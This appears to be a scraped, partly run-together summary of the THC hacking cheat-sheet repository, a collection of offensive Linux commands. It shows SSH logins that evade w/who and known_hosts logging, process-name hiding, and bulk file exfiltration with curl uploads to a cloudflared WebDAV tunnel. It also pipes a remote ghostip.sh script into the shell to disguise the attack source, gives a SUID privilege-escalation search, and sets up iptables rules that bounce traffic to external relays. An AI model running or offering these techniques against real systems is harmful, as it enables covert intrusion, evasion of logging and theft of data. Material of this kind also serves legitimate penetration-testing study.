repository·master·Indexed 26 days ago
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheetA curated collection of technical tips and hacks for Linux/Bash, SSH, Networking, Data Exfiltration, and Reverse Shells. Focused on security research and penetration testing, it includes techniques for process and connection hiding, SSH multiplexing, pivoting via ProxyJump, nmap discovery, and establishing SSL/TCP tunnels.
To prevent your connection from appearing in the w or who commands and to avoid logging the host to ~/.ssh/known_hosts, use the following command structure:
ssh -o UserKnownHostsFile=/dev/null -T user@server.org "bash -i"zapper to hide both the process name and the command line arguments. This is useful for making tools like nmap appear as innocuous system processes.Use WebDAV to manage files remotely, including directory creation and parallel uploads.
Setup (Receiver):
cloudflared tunnel --url localhost:8080 &.wsgidav --port=8080 --root=. --auth=anonymous.Operations (Sender):
curl -T file.dat <URL>curl -X MKCOL <URL>/sourcesfind . -name '*.c' | xargs -P10 -I{} curl -T{} <URL>/sources/{}Configure the current shell so that any program started from it (e.g., nmap, cme) uses a fake IP address. This makes attacks appear to originate from a non-existent host.
source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)Locate all files with SUID or SGID permissions to identify potential privilege escalation vectors.
find / -xdev -type f -perm /6000 -ls 2>/dev/nullTo paste content into a file on a remote machine without interfering with tabs or shell variables, use a heredoc with quoted delimiters (<<-'__EOF__').
cat >output.txt <<-'__EOF__'
[...]
__EOF__Use OpenSSH dynamic forwarding to turn your SSH connection into a SOCKS proxy.
Tunnel all your local browser traffic through the remote server:
ssh -D 1080 user@server.org (Configure browser to use 127.0.0.1:1080).
Allow others to use your computer as a SOCKS proxy to access your local network:
ssh -g -R 1080 user@server.org
Commands to identify your public IP, ASN, and geolocation.
curl ifconfig.me or curl -s wtfismyip.com/json | jqcurl https://ipinfo.io/8.8.8.8 | jqasn() function to query whois.cymru.com via netcat.curl -s wtfismyip.com/json | jq
curl ifconfig.me
dig +short myip.opendns.com @resolver1.opendns.com
host myip.opendns.com resolver1.opendns.com
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
asn() {
[[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; }
(echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2
}
asn 1.1.1.1mkegg.sh to create a self-extracting shell script that contains files or directories and executes a specific command upon extraction.When a target has no internet access, convert binary files to ASCII text (base64) to allow for copy-pasting. You can use base64, uuencode, openssl, or xxd to perform the encoding.
## base64 encode/decode
```shell
base64 -w0 </etc/issue.net base64 -d >issue.net-COPYuuencode /etc/issue.net issue.net-COPYuudecodeopenssl base64 </etc/issue.net openssl base64 -d >issue.net-COPYxxd -p </etc/issue.netxxd -p -r >issue.net-COPYUse a custom iptables setup to bounce traffic through a host/router without a userland proxy.
bounceinit to enable IP forwarding and set up mangle/nat rules. You can restrict bouncing to specific source IPs by calling bounceinit "<source_ip>/".bounce function to map a local port to a destination.
bounce <local_port> <destination_ip> <destination_port>bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port.
bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost)
bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443curl or wget to run the deployment in memory.